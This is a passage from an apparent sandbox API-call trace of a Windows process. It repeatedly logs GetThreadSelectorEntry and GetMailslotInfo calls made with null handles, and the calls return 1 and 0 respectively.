lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.326] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.326] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.326] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.326] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.326] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.326] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.326] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.326] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.326] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.326] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.326] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.326] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.326] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.326] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.326] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.326] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.326] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.326] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.326] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.326] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.326] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.326] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.326] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.326] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.326] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.326] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.326] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.326] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.326] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.326] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.326] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.326] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.326] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.326] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.326] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.326] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.326] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.326] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.326] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.326] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.326] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.326] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.326] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.327] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.327] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.327] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.327] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.327] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.327] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.327] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.327] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.327] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.327] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.327] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.327] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.327] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.327] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.327] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.327] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.327] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.327] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.327] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.327] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.327] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.327] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.327] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.327] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.327] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.327] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.327] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.327] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.327] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.327] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.327] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.327] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.327] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.327] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.327] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.327] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.327] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.327] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.327] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.327] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.327] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.327] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.327] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.327] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.327] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.327] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.327] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.327] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.327] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.327] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.327] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.327] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.327] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.328] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.328] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.328] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.328] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.328] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.328] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.328] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.328] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.328] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.328] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.328] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.328] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.328] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.328] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.328] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.328] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.328] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.328] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.328] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.328] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.328] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.328] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.328] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.328] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.328] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.328] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.328] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, 